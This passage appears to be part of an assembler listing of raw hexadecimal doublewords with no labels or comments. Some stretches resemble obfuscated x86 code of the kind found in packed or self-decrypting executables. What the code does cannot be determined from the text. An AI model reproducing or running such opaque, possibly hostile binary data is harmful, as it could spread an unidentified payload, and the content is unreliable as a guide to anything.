6621877Ch, 2432FE47h, 8A892A76h dd 17B58EEEh, 5C732E80h, 307F7C6Ch, 0B4B53143h, 2A3BB8D4h dd 6C5D1454h, 46C7A07Ch, 22C25E29h, 3E2BBD2Fh, 7C7BF898h dd 4605770Fh, 83121192h, 4421300Eh, 268CF83Ch, 0AE09F29Ah dd 95D3DBA9h, 0BA000000h, 30869D26h, 0EBF98597h, 0DDC85F49h dd 0D7AEDF5Ch, 10A6A345h, 94E5E480h, 9667904h, 6EFAFF7Bh dd 0CBBECFC2h, 6BF308F7h, 0FA86AA11h, 42D970E7h, 24332C6Ch dd 0AFFFB876h, 762432E9h, 1A1F9BF7h, 1D8F0C6Dh, 0AC3C9297h dd 0E112170Ch, 42CDDDh, 80560000h, 0D24E41ECh, 47245550h dd 828723EFh, 8FE9A2F5h, 0A1BC42C1h, 87A6D3D0h, 0E3F15995h dd 762434A2h, 30B24EC1h, 7C239D35h, 9E0908B4h, 99B6202h dd 65212F63h, 545522A3h, 5054E2FEh, 0B3000000h, 0B157E980h dd 32C286D4h, 610E7624h, 32E098F6h, 83EC7624h, 0CEC36F2Bh dd 326521B1h, 0D937624h, 8F116310h, 0CBEE592h, 0AEF9865Fh dd 3B939612h, 6A16DA81h, 658B0097h, 5B1D7199h, 69762530h dd 0B5B0750Eh, 3B8D4730h, 9BF749ABh, 800C9733h, 32D395E9h dd 86E17624h, 0B9635C30h, 0AE00972Eh, 762432EAh, 0E6927116h dd 4EA33199h, 9A7C6C62h, 82196C1Dh, 6C616C2Ch, 973F787Ch dd 1B7964FBh, 874EF68Ah, 4EE31AD5h, 60119EAEh, 58EFAB03h dd 67503C4Dh, 5D5C32A5h, 0C82B530h, 2B5F1975h, 26D7625h dd 0F5700CACh, 50F785F2h, 677F475h, 0BBC8CF6Ah, 3F4C4DE9h dd 91561567h, 588744F6h, 892B3FC4h, 0EBA70F8Ch, 0C6C55A54h dd 0D86F3B59h, 55901F39h, 5E59211Bh, 19156E0Eh, 0BB2AAB7Fh dd 30868321h, 4B853383h, 209A7624h, 252EB17Bh, 244C0F49h dd 55D2DD76h, 7FB9AC37h, 0FD66B8DDh, 9EFBFE85h, 9279EE75h dd 48D8E11Ah, 3Fh, 0DD7FB9D3h, 760B80B8h, 0B638221h, 7648CD65h dd 7624BF32h, 8094F1BEh, 32D395E9h, 86E17624h, 853C6530h dd 0F482E7E2h, 8FFEE49Dh, 3355053Ah, 9B7F581h, 0F45ADB2Fh dd 3067D3h, 0B9FC0000h, 80B8DD7Fh, 24326A2Eh, 9C0B7076h dd 32EFA905h, 0B2FD7624h, 0B808B1Ch, 0F70063F4h, 0B461C9D6h dd 5AEC80EFh, 0D9713E4Fh, 0DEBBA639h, 0FE856FF4h, 0E4376CFBh dd 0DC9CF23Bh, 0E876248Eh, 56EDFA8Fh, 4D5857FFh, 9A991AB6h dd 9ADE8CEDh, 26762473h, 13E3F159h, 0A57628F5h, 0FABE1003h dd 0C67628F2h, 394B38B9h, 0B6CCBDBCh, 0BCE07C4h, 706FF08Ch dd 0F13BE0DAh, 79157772h, 0FD8FFCFDh, 4BE57071h, 0CDDFACA9h dd 9A12E3Bh, 0E55A146Ah, 0D2BEB33Fh, 0E5CEC13Ah, 481BDDh dd 80800000h, 32D395E9h, 86E17624h, 0D7C36030h, 0D9D6572Ah dd 970ECCF7h, 6C3E0AC7h, 328C237Ch, 7C6C3D76h, 0ED8D2542h dd 1BA7F582h, 981B6906h, 15C5EC9Dh, 0E05A9156h, 0CBBFF43Bh dd 9D67E924h, 0A241D179h, 0B73413B4h, 0E9804ED5h, 2432D395h dd 3086E176h, 0B7C4C360h, 0A93CDED9h, 6C5520D5h, 0A9CBB47Ch dd 297FB90Ah, 1948622Ch, 47DEAB45h, 0B3226DEFh, 664025A2h dd 41EC80FDh, 33420658h, 0E18E7624h, 3C921360h, 0E8C6D75Ch dd 762432B0h, 91F2733Ch, 9279EE75h, 48D8E11Ah, 4Fh, 0DD7FB9D3h dd 360DB64Ah, 0F1923879h, 326A2E80h, 1A767624h, 89F6879Ah dd 60039D08h, 3F971465h, 46EC80A4h, 0DD753243h, 0E2855338h dd 9DF482E7h, 6CF148E4h, 75DDE80Bh, 346752h, 950E0000h dd 8C0CC9E8h, 0EB2B5C77h, 461F09E2h, 0B97E09A1h, 80B8DD7Fh dd 24326A2Eh, 6E0B7076h, 0EC801B80h, 35E54D44h, 6B20B792h dd 0F9115AE3h, 4063CBE9h, 0FE856FF4h, 0EA3C8AFBh, 0DE7628B3h dd 522E5F52h, 0D8AEDFD2h, 29E039E6h, 0DD668A71h, 42EEBAC6h dd 0ACDDD45Ch, 63314ECFh, 0EDB5C2C7h, 78042C93h, 0D252EE79h dd 57D2AEDFh, 6F7BD350h, 0E58F54CFh, 5A8EDDh, 55E70000h dd 0D8D9D6B3h, 0DFACAB48h, 856F78DEh, 0C28AFBFEh, 0B5BE40F9h dd 24329FD9h, 0C5422D76h, 44FDD144h, 807C6C4Eh, 7EFA96E7h dd 4D57116Dh, 1A657C6Ch, 0A9CEC9Dh, 974B6E1Fh, 62D81328h dd 83DB72BDh, 7C6C4DC5h, 6D16013h, 0C36BCE7h, 0C86B278Fh dd 5AF6AFCDh, 5073DBDEh, 5D41EC80h, 0C5A2D3D6h, 8122EE44h dd 0A09BF582h, 72136BFAh, 467C6C63h, 0B9B85B39h, 0B34ADD7Fh dd 0B2C586FEh, 49196CC7h, 76245E0Fh, 2623C1DDh, 3AB2849h dd 80FD6660h, 0E84E41ECh, 99F8B28h, 810E6F1Ch, 0FBFE7A16h dd 2245ED8Ah, 9279EE75h, 48D8E11Ah, 35h, 0DD7FB9D3h, 3802514Ah dd 4B4F036h, 0FAF643C2h, 0E54DCA3Eh, 6A2E80C2h, 93762432h dd 0E132D31Eh, 64CAF4FAh, 804E2B54h, 0E7E2851Bh, 676FF482h dd 2Bh, 0DD7FB9FCh, 6A2E80B8h, 70762432h, 3307411Dh, 0B9D57624h dd 2E4F3C3Dh, 804720A1h, 0F4E2851Bh, 0DBDE5B4Fh, 0CF4C2D5Ah dd 856FF4AAh, 3C8AFBFEh, 7628B3EAh, 2E5F52DEh, 0A2D3D652h dd 0D41CC3FFh, 61A82928h, 852EF2A9h, 0DB6E28Eh, 2C177936h dd 0EB7FCD9Ah, 0B828E098h, 2B483938h, 22633BAAh, 0B67C70F4h dd 81FAABC9h, 6E405796h, 7C70732Ah, 74BCC9B6h, 0C5DE741Ch dd 0B8DD7FB9h, 0F67D0F66h, 4DE582F3h, 0E8FE853Ah, 7D3A4B56h dd 0EC809BFCh, 4305595Ah, 91762433h, 0A1C16916h, 1A927902h dd 5B48D8E1h, 0D3000000h, 4ADD7FB9h, 9EAE3851h, 251C88C0h dd 5E2B5476h, 0DC4C397Ch, 0E8FB5356h, 326A2E80h, 9767624h dd 57E9806Ch, 0D0A7D4B1h, 2432BAFEh, 0F8790676h, 0E2853152h dd 4E3B70E7h, 0F94C6A4Eh, 0B9A57B68h, 0DE5F2C8Dh, 0EC806F78h dd 58E94140h, 2967BBh, 720E0000h, 0E283F0F7h, 7FB93B4Ch dd 2E80B8DDh, 7624326Ah, 806E0B70h, 0A8AD57E9h, 0E2856102h dd 9DF482E7h, 13607D03h, 85AB3C92h, 4948E8FEh, 57116D38h dd 65762432h, 6F1C9D1Ah, 28B407DFh, 4D32E876h, 7B191CA7h dd 16ED962Ah, 0E6B21899h, 6729465Dh, 0F1AAD5Ch, 25B0317Eh dd 7F72F28Eh, 6127770Eh, 6F7628B3h, 0AD2B8300h, 7C70C444h dd 98D0AE45h, 247C70C3h, 0B8C7F35Bh, 7FB93BD8h, 0FD66B8DDh dd 9EFBFE85h, 0EC80EE75h, 72334047h, 1A4BC0DCh, 3391D8E1h dd 0A000000h, 0AA57E980h, 32C187D7h, 600F7624h, 804A72CAh dd 6A2E80E7h, 76762432h, 1B806C09h, 4C5BEC80h, 0B6952AE6h dd 806FF4EDh, 0E94140ECh, 16CBh, 7FB94800h, 2E80B8DDh dd 7624326Ah, 806E0B70h, 0E7E2851Bh, 856FF482h, 0FB8AFBFEh dd 334E0A64h, 1D9A7624h, 3CDED9B5h, 38C0D5A9h, 6B147C6Ch dd 78049809h, 0C36B0879h, 1B8A506Bh, 0BABE2343h, 0FD8AF582h dd 971204AFh, 25711390h, 750C9B9Eh, 2AB55F19h, 0E1E08D76h dd 6611390h, 0FFB303B0h, 29B19EC9h, 0ADFF8C8Dh, 23710E1Bh dd 8C3E8580h, 946D15DFh, 0B16EDC17h, 5ACDC86Bh, 6ED73EC6h dd 67808A5Bh, 5F6BC340h, 0DBB3A043h, 0B196629Dh, 81D8732Ch dd 2652B692h, 0D9ABD859h, 33CD5859h, 9D1AB0ADh, 6AEEA3FAh dd 56126C18h, 62B196B1h, 11997005h, 3D3CB92Bh, 0D5872F4Ch dd 2221C216h, 0AAA94A46h, 3DD1CADDh, 13169CB1h, 2AE09A66h dd 3F684h, 416D0000h, 0E5FC85DAh, 787F0494h, 0FDFC790Bh dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h dd 0CCC96B39h, 4C68B9BFh, 89000021h dd 0BF572424h, 4, 4247C01h, 79B0685Fh, 3C890000h, 0E7895724h dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 2BBF5751h dd 89064E85h, 0CF895FF9h, 2C8B5459h, 4C48324h, 8BB53h dd 0EB010000h, 89FE8956h, 0FF5B5E33h, 835D2434h, 3C8B04C4h dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 0F0E3E95Ch dd 0BC50FFF9h, 0B8D161B2h, 64E8D21h, 0E0FFC503h, 6EE51F74h dd 79E8B2A7h, 1F9628E6h, 7F6C153Eh, 61394B78h, 64F6EF4Eh dd 2CBC7F1Ch, 2747E0EDh, 3BA26181h, 8E618D8Dh, 6A064Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B50108C3h, 6480F59h, 89F3B70Fh, 4814058Dh, 41DB8106h dd 0C7333393h, 48302585h, 71DC06h, 19BD8900h, 0C7064829h dd 482AD985h, 6, 5800F00h, 66000000h, 0E7B8C881h, 17B5B5FFh dd 870F0648h, 5, 6EB8166h, 7195FF62h, 6A06480Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 6C11C356h, 75BD8BDCh, 6A064812h, 2D95FF00h, 8B064809h dd 6F4DEBC0h, 0C9250B5Dh, 0C9C4912Ah, 491EA6Bh, 47CFFB84h dd 9E1995FEh, 0EC472DECh, 0BF49A384h, 671DA23Bh, 7695F91h dd 0B32DA003h, 22BE632Ah, 1192EF3h, 7FEAD191h, 1C49EE3Dh dd 0AF88CFF6h, 0B7A84299h, 0E34551F4h, 6A1698F1h, 0A4720E4Fh dd 0DE8h, 0F3B14700h, 0E2099767h, 28A5663Ah, 59F8227Eh dd 3800Fh, 0C2800000h, 86C18166h, 6600005Dh, 0C3BED68Bh dd 8166941Ch, 6BFA73C6h, 658D8999h, 0FF064813h, 13E931h dd 5CDB0000h, 0BF401B70h, 800A2AA8h, 1455F37Fh, 0D477406h dd 8B605874h, 4831B185h, 9D858906h, 61064830h, 31AAF081h dd 0BD8B3CB1h, 648123Dh, 30C7F081h, 0BD290924h, 64811A1h dd 0AF81E881h, 0E95250C5h, 0Fh, 6BC9C491h, 840491EAh, 0FE47CFFBh dd 5B9E1995h, 0E1B52950h, 8F064814h, 81950901h, 83064811h dd 8B6604E9h, 1EE83DFh, 0FF85850Fh, 7BBAFFFFh, 8D0C7677h dd 4E8FE28Dh, 0DF816606h, 8D89BFE7h, 6481405h, 12759589h dd 85C70648h, 6483025h, 6B08h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 32C35343h, 5B7E73C8h, 259D896Fh dd 0C7064817h, 482AD985h, 6, 0F7BF0F00h, 1A1DB5FFh, 51520648h dd 22B19D33h, 5E5F0648h, 0E7195FFh, 0B5010648h, 6482985h dd 95FF006Ah, 648092Dh, 1AEBC08Bh, 41A19B51h, 0EF95CF2h dd 0CFA6CF74h, 0D1C8A0B8h, 0DD7E1DE3h, 0C5293515h, 8D8D6C3Dh dd 64E9117h, 6880Fh, 0BD010000h, 64822B1h, 8D8940B4h, 6481405h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EEC35646h dd 3AAF936Ch, 0AC54B2A1h, 27C28166h, 0B86660DFh, 9D8B5160h dd 64829C5h, 2585C761h, 50064830h, 6A000068h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 4852C350h, 39B0B4C0h, 78D0Fh, 66570000h, 0F592DE81h dd 0D985C75Bh, 6482Ah, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C365C350h dd 0C17A5E04h, 6EF480A6h, 1A1DB5FFh, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0B3D138C3h dd 0AE3508AEh, 1999958Bh, 95FF0648h, 6480E71h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0FC35141h, 8B6A092Fh dd 481A9195h, 0FF006A06h, 48092D95h, 0EBC08B06h, 8325B1Ah dd 71B69F89h, 311A5BABh, 547F0BFFh, 273C141Bh, 0B600B4F1h dd 0E818A2ACh, 8, 0E12989EAh, 0B8B6C4E8h, 16C9BD8Bh, 295E0648h dd 482B6585h, 51C68106h, 0BB00006Fh, 6C5D44A6h, 1BB7B8h dd 8BD98B00h, 0AE916h, 3300000h, 0D22F725Bh, 37DB2776h dd 0EFD0EA81h, 0FA8A7A2Bh, 4DE4C281h, 9D8B6CEFh, 6480B21h dd 0C7A2EA81h, 0BD892C9Eh, 6482C29h, 5830F52h, 66000000h dd 0F71DCF81h, 0ED80068Fh, 4EE8342h, 68D8589h, 0F480648h dd 0FFFFAE85h, 0A28D8DFFh, 6A064E92h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 8DAAC357h dd 89CBE14Ah, 4814058Dh, 2585C706h, 90064830h, 6A000072h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 159AC356h, 866F578Ch, 85C7F913h, 6482AD9h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 73C35545h dd 0BD8B69C0h, 64811A9h, 1221B5FFh, 6A0648h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ECE32AC3h dd 3C21BE00h, 819908A2h, 0E8B426D3h, 7195FF55h, 6A06480Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 166FC356h, 54E63DC7h, 0E2D64AB0h, 0DED880F8h dd 95FF006Ah, 648092Dh, 3AEBC08Bh, 748D8466h, 7216D044h dd 538E009Ch, 785864B8h, 0D1ED2C58h, 66D76F2Eh, 0F84C81B8h dd 2AC2050Eh, 0C689315Ch, 85E9BBADh, 0EBF7F614h, 0B9D7381Eh dd 25150DEEh, 7A3C1953h, 5FE99517h, 52000001h, 0E860D48Bh dd 0 dd 0EFED815Dh, 8B064E92h, 453D0842h, 0F782638h, 13885h dd 0C428B00h, 0D3184A8Bh, 0F778BBC8h, 0C33336F8h, 8904E883h dd 48140585h, 4588B06h, 428BF88Bh, 184A8B10h, 27BEC8D3h dd 33887C13h, 83C72BC6h, 0E883FCE0h, 25858904h, 8B064830h dd 85891442h, 6482AD9h, 5318428Bh, 0B0E9h, 39B5FF00h, 0E906480Ch dd 0B9h, 0F1DB5FFh, 0AEE90648h, 0FF000000h, 481A1DB5h dd 0A3E906h, 0B5FF0000h, 64827D9h, 98E9h, 3DB5FF00h, 0E906480Dh dd 8Dh, 915B5FFh, 82E90648h, 0FF000000h, 481221B5h, 77E906h dd 0B5FF0000h, 6481BD5h, 6CE9h, 0FDB5FF00h, 0E9064806h dd 61h, 2FB5B5FFh, 56E90648h, 0FF000000h, 480C99B5h, 4BE906h dd 0B5FF0000h, 6480E25h, 40E9h, 71B5FF00h, 0E906481Bh dd 35h, 17B5B5FFh, 2AE90648h, 0FF000000h, 48283DB5h, 1FE906h dd 0B5FF0000h, 648184Dh, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h dd 4E93508Dh, 0FFC80306h, 7195FFE1h, 5B06480Eh, 1405858Bh dd 58390648h, 0F850F04h, 53000000h, 95FF016Ah, 648092Dh dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh dd 6482861h, 943E8D8Dh, 4189064Eh, 8DC38B01h, 4E94E98Dh dd 0B0BA6606h, 58D8984h, 6A064814h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 17B0C356h dd 9464A48Bh, 95C06F41h, 9AE8BF66h, 302585C7h, 5D100648h dd 85290000h, 6482F69h, 2AD985C7h, 648h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 963FECC3h, 0DF81F88Ah, 396EB908h, 283DB5FFh, 0FFF90648h dd 480E7195h, 0A9858906h, 6A064823h, 2D95FF00h, 8B064809h dd 0E73DEBC0h, 55BC293Ah, 0E7E20447h, 72DB44DDh, 0C2B983AFh dd 0EFA82AD6h, 0F8876A9Eh, 0DAC82303h, 0B8A45F76h, 0BD7484DFh dd 9665657h, 4B2C8E23h, 0C54061F3h, 0FDB59FDEh, 0C8C66AC7h dd 6DA8B807h, 0FF985C6h, 68560648h, 0A9C530DFh, 29A9B5FFh dd 858D0648h, 64B7F60h, 8D8DD0FFh, 64811C1h, 0FF406A51h dd 480A01B5h, 0D9B5FF06h, 0FF064819h, 1B5FFD0h, 0FF06480Ah dd 4819D9B5h, 5E806h, 2BCE0000h, 5F79AF68h, 4EF835Fh, 2242CC1h dd 22424C1h, 0F7243C03h, 0F62B241Ch, 81371C8Bh, 4211A0EBh dd 0D8F3815Ah, 814AABC1h, 8BF637C3h, 371C897Ah, 4E01EE83h dd 343B4E4Eh, 0D9850F24h, 8DFFFFFFh, 481A319Dh, 0B038B06h dd 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h, 12E8h, 0BE224B00h dd 6BC139D3h, 0D8679E22h, 0E03A0CD4h, 0E9F2ABE2h, 0Bh dd 0A8CCFFDCh, 0FB333A91h, 587C64CCh, 7110C081h, 0D22B0000h dd 6E86060h, 2C000000h, 0CCCF7AC4h, 81665A18h, 61287AC3h dd 0FE9h, 397C1500h, 591A7324h, 0BE6ED6AEh, 2BFC1E07h dd 100C8B61h, 0A95CF781h, 0E9816E4Eh, 3A7A5AC0h, 0C181F98Bh dd 5577C8B1h, 0BA16E981h, 6FBF365Eh, 5161B3A5h, 0AF40BE66h dd 0E910048Fh, 11h, 0AB23D44Dh, 0E89F1B7Dh, 85651462h dd 0C70E4A98h, 4EA83E5h, 12E9h, 2DE3A100h, 4EF3C284h, 0CB402765h dd 16916C14h, 8178F001h, 0FF8FB0FAh, 9A850FFFh, 60FFFFFFh dd 0D7F377BBh, 3CC28000h, 0ABE961h, 8D500000h, 0B11C3F2Eh dd 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h, 323D94E7h dd 52DAFD83h, 131EE955h, 3C680000h, 0E9064E99h, 0FFF9E725h dd 4E9A3768h, 0E71BE906h, 1768FFF9h, 0E9064E9Bh, 0FFF9E711h dd 4E9C3468h, 0E707E906h, 0AE68FFF9h, 0E9064E9Ch, 0FFF9E6FDh dd 4E9D4068h, 0E6F3E906h, 0FF68FFF9h, 0E9064E9Dh, 0FFF9E6E9h dd 4E9EDD68h, 0E6DFE906h, 8E68FFF9h, 0E9064E9Fh, 0FFF9E6D5h dd 4EA0C368h, 0E6CBE906h, 0D368FFF9h, 0E9064EA1h, 0FFF9E6C1h dd 4EA35F68h, 0E6B7E906h, 0AB68FFF9h, 0E9064EA4h, 0FFF9E6ADh dd 4EA6A768h, 0E6A3E906h, 0B668FFF9h, 0E9064EA7h, 0FFF9E699h dd 0B8D8D75Eh, 214346ECh, 95F7D275h, 187879F9h, 83E1E08Ch dd 8F2B1360h, 2CB2EE8Ah, 0BA475331h, 2AC9C5A7h, 0FF964D2Fh dd 72C9E9AFh, 0B651F77Ch, 6CFBFE85h, 6A4455D0h, 7624332Eh dd 0F7CFDBAh, 0DCABC86Eh, 0AA0BF40h, 82EEE58Eh, 0DC4B112Ah dd 6C455B82h, 6CF38F7Ch, 0E2630071h, 447FC595h, 12B57C6Ch dd 8F2A4637h, 0C9A3FB88h, 8630DD12h, 2F7F16D9h, 7C6C4469h dd 0FC7F0877h, 5D0C380Dh, 0BD6676DCh, 67DBA929h, 2Fh, 0DC7EB9BCh dd 40647549h, 3B07C6Ch, 64ACAE88h, 53F464DEh, 0EF86F774h dd 77DFCA5Dh, 6CEC1B59h, 0C784367Ch, 0A9B73AE1h, 0F9E0DBh dd 803B0000h, 0B1BE830Bh, 0C56DF45Bh, 3CABAE55h, 0F8B00EA5h dd 0C47624D5h, 0D5ADEBBBh, 883B7624h, 713F3AF9h, 5CF273A6h dd 0A0A14D5Fh, 3422C1D3h, 0AA8D418Ch, 0B1EB2FABh, 0C3904730h dd 0BFDD2DA4h, 0B033413Eh, 3479D7B5h, 907624F2h, 0ECAC0213h dd 0F87624EAh, 46523EBFh, 87C9A6BDh, 37871EBCh, 7C6D1426h dd 0F7C7A5C2h, 93961DCCh, 0CD2B8312h, 0FE82B767h, 0ACCC785h dd 9D1A6B6Eh, 0C0DD00E8h, 67374E6Ah, 7626EE21h, 0D443C0AFh dd 0DFBDBC38h, 0A48A2AC6h, 9760702h, 0CA762288h, 0FB1148F7h dd 6827129Dh, 108DFAh, 3938B900h, 0A0A54F5Bh, 5433D4C0h dd 0D9D85834h, 4E43EFBBh, 88B00122h, 138FEDECh, 0A4F0908Dh dd 2E7A0619h, 71E28E85h, 0CC48005Eh, 32947C72h, 95E98051h dd 762432D3h, 10606101h, 605F263h, 0EF6CC95Ch, 82F3F67Dh dd 21CD4DE5h, 0AF544020h, 0B92BC8A8h, 7549DC7Eh, 7C6C4064h dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh, 8FA83F8h dd 220DA23Eh, 0C7408Ch, 85DB0000h, 0FE8AFBFEh, 0B00E7F72h dd 762436EDh, 0F1AB5AD9h, 4A5B07DAh, 1538D399h, 0DC5B0C60h dd 0D1AEA14Ch, 28C453D0h, 89CF9F88h, 5776246Fh, 6703AB28h dd 81C7972Eh, 4F76246Fh, 650E8A20h, 84BF116Eh, 0EE7F4FC6h dd 3A7C6C99h, 84BF1F7Dh, 887F4FC6h, 3582B6E8h, 0BD9F777Ch dd 2B831F41h, 0DB75E08Fh, 4D2A5B5Eh, 109C30E5h, 0FCDDB8E5h dd 6DEA0EDAh, 1217930Fh, 9E2CF4ABh, 0AD5DD212h, 0F92h dd 5C3C33B2h, 0C5A7A240h, 492B36C9h, 0BCDCD55Dh, 274544E0h dd 0E38FB71Ch, 701682EEh, 1E9BF795h, 862D791Bh, 5B72E183h dd 72CD4503h, 5ACD937Ch, 54EBF985h, 4FFB29BDh, 2DAA801Ah dd 0B2DE5F5Ch, 3A465DE6h, 0FBFE8599h, 6D75FE8Ah, 5D54DCDAh dd 41CEAFDCh, 0F5D07723h, 484FF484h, 5CE77928h, 0CF7DF159h dd 0D74E0C37h, 6C42B687h, 22B5F27Ch, 4175338Bh, 1CA37C6Ch dd 9E347301h, 0E7791382h, 3F0654FAh, 5773F673h, 3336BD6Ch dd 31A42542h, 0AACD8E78h, 0EE440384h, 0CECA5727h, 0ED666E2Eh dd 0E5A7A491h, 966E7BDh, 47DE7C47h, 463712B5h, 6D049139h dd 0E042D434h dd 0CA27E22h, 0F9CC664Eh, 62F5B273h, 422E25CEh, 492F5E53h dd 0D2161245h, 10179C7Ch, 0DF33E8ADh, 0B121DE20h, 0EB2h dd 7C1C1392h, 0E5878220h, 690B16A9h, 0DCBCB53Dh, 472524C0h dd 0C36F573Ch, 50F6A2CEh, 0FE7B1775h, 660D99FBh, 3B520163h dd 72CE2563h, 7A2DB37Ch, 8AFBFE85h, 0C453F9C2h, 6C4F87EAh dd 0EB97E37Ch, 0A30B6916h, 0B63F298h, 82B461C2h, 720E99E6h dd 0CF89E5F6h, 1D762440h, 7641592h, 0F2B200AFh, 26762440h dd 9BE9869Dh, 0EA6B1805h, 8962BB60h, 0DAD46A06h, 73DB585Fh dd 79A28279h, 0EADDE100h, 0A7D4AB56h, 0AD2A2FD5h, 3524643Ah dd 0F7B07624h, 37FF5Fh, 0B9240000h, 1F5E287Eh, 76B8769Ah dd 0C4005EC9h, 107C6D60h, 0C16C0097h, 59F3A2CEh, 5A78DEDBh dd 7C6CC41Ch, 6454A74Ch, 0CA6890A8h, 0D99FB78h, 62106160h dd 0DE6h, 0DC7EB9E1h, 0CA637549h, 0F6B17C72h, 2326CD5Fh dd 0BDAE5541h, 72C9A7E1h, 0CD4A357Ch, 25E7D0BCh, 602DDCB2h dd 0FEB982C1h, 2B2ED567h, 0D3D65D49h, 77C4F44h, 0B66536B8h dd 23D9320h, 54F1CD58h, 0A07C6C96h, 0B30378C7h, 7A350C58h dd 0D95CCh, 3130B100h, 0B8BD4753h, 2C3BCCD8h, 0D1D0504Ch dd 465BE7B3h, 80B8193Ah, 0B87E5E4h, 9C086875h, 26721E11h dd 69FA869Dh, 0CF407856h, 3A8C7C72h, 32FD4769h, 2C177624h dd 7C8B389Ah, 9D1A3ACAh, 268DB40Ah, 5E597C73h, 8B8E35C7h dd 4D21B8E9h, 7C72FE0Bh, 9878DED9h, 216F1C1Bh, 4AE17416h dd 0E161D351h, 248A883Ah, 0BA5FCBB6h, 0E5582782h, 129AA98Ch dd 1B55C5BAh, 2B00000Dh, 0B9D5B78Ah, 46523E3Bh, 0CAC6A2A1h dd 5935572Ah, 97BCDCDDh, 677A063Eh, 0EAF78905h, 9097128Eh dd 181FA4F0h, 0FAD4EB78h, 7C72CEBEh, 85D3B40Ah, 0FE8AFBFEh dd 8017E75h, 44BFE956h, 9EDDE112h, 6E8h, 0D8D965F7h, 4364CAABh dd 49DC7EB9h, 46370AB7h, 0AA049139h, 7C72C994h, 25BC2B54h dd 44EAEF8Bh, 48282FD4h, 0B1062059h, 0F032F032h, 3E35BE5Ah dd 97B3F141h, 0E2DD7C72h, 70D1AD38h, 0FC82BAB4h, 3C1B0CB3h dd 621D129Ah, 0C89F4h, 253CC500h, 0ACA94B47h, 504FD0CCh dd 0C5DC6430h, 4A4FEBA7h, 94AC052Eh, 1F8BE9E8h, 0A0FC9C89h dd 2A660205h, 75EE8A89h, 0D04C0C62h, 0C6987C72h, 0FBFE855Dh dd 7E75FE8Ah, 0D4AD55E7h, 79C73BA3h, 0FD55D793h, 27BED9FEh dd 24F31157h, 7AD0DF76h, 0B8549B40h, 214E3F3Ah, 0D20EF589h dd 39D4DDE1h, 4F000006h, 2432FD47h, 6E2C1776h, 0C9C7A7F7h dd 48E47C72h, 0DBD8A9A8h, 502E4773h, 7C72C918h, 724CDBA4h dd 7C72C936h, 0F164E582h, 5D69215Ah, 0AC6D1C8Fh, 0EAE98A06h dd 9291128Eh, 0CA90ABE5h, 7B1E035Bh, 0D94A82BAh, 5FF2D9C6h dd 0FEED723Bh, 0E263E081h, 9A5AC25Bh, 8B3BF412h, 0BCAh dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h, 6F0D0CA8h dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh dd 72D00D4Bh, 8205DB7Ch, 8AFBFE85h, 5CE86FBh, 906E50EAh dd 10616000h, 0D45F3B93h, 0DFAF46D1h, 76245C99h, 0C5F25827h dd 78090CB7h, 0FA8B9628h, 8C992FBDh, 493684FFh, 0A53C5BB0h dd 245C8FC9h, 0FC525D76h, 0F02B1DC2h, 2ADDE138h, 564h dd 4F4AE983h, 0CED9713Eh, 1E287EB9h, 57785AB3h, 25CCB48h dd 7C730A41h, 970E69h, 7308EAAEh, 2189F67Ch, 5C5BD874h dd 0C4C3603Ch, 0B749E0B7h, 2167370Ah, 0AF7C7309h, 286C6AC0h dd 607C7309h, 6922B557h, 0EDEFECC9h, 0BE57FF15h, 0BAD181E0h dd 0CE740882h, 55FDBACBh, 70E35A25h, 56129A18h, 0AEC29D9h dd 0D9580000h, 44EEBAC6h, 0D0772341h, 7BFB97F5h, 0E28E1A66h dd 11668DEFh, 0EC8C8D29h, 51332EB0h, 0DBB9B845h, 432124CFh dd 0E7A1FD90h, 0F57C72D0h, 0FE85B053h, 75FE8AFBh, 0AF55E77Eh dd 76DCDDAAh, 219E5079h, 0E1121C07h, 4B2C6DDh, 805D0000h dd 0D4B157E9h, 0D088C6A7h, 1C762432h, 0DC9D3B93h, 34762432h dd 0F8D6410Bh, 7C72C998h, 473CABD4h, 4E8EC86Ah, 5D389E14h dd 472520C3h, 0DCADA84Bh, 9205C7F0h, 